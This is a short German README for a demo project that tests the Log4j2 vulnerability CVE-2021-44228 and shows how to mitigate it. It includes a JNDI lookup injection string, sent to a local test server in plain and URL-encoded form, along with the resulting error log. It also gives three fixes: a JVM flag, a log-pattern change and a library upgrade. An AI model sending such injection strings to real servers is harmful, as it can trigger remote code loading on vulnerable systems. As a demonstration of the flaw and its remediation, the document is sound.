
Demoprojekt zur Evaluierung der Log4j2-Sicherheitslücke | CVE-2021-44228
Dieses Repository enthält den Code zur Bewertung der Log4j2-Sicherheitslücke CVE-2021-44228
Senden Sie eine GET-Anfrage mit dem Abfrageparameter ${jndi:ldap://127.0.0.1:3089/}.
http://localhost:10000/test?userParam=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D
Wenn die obige Anfrage gesendet wird, versucht die Anwendung, eine Verbindung zur ldap-URL herzustellen, und der folgende Fehler wird ausgegeben, da diese auf meinem Rechner nicht läuft.
2021-12-14 09:10:25,055 http-nio-10000-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1:3089/]. javax.naming.CommunicationException: 127.0.0.1:3089 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
at java.naming/com.sun.jndi.ldap.Connection.<init>(Connection.java:237)
at java.naming/com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
at java.naming/com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1610)
at java.naming/com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2752)
at java.naming/com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:320)
at java.naming/com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
at java.naming/com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:204)
at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
Wenn die log4j-core Version >=2.10 ist, kann diese JNDI-Suche durch Hinzufügen des folgenden JVM-Parameters deaktiviert werden.
-Dlog4j2.formatMsgNoLookups=true
Wir können die log4j2.xml Datei mit {nolookups} im Log-Nachrichtenmuster aktualisieren. Überprüfen Sie den Branch update-log4j2-config für die Lösung.
2.15.0. Überprüfen Sie die Lösung im Branch update-log4j-to-2.15.0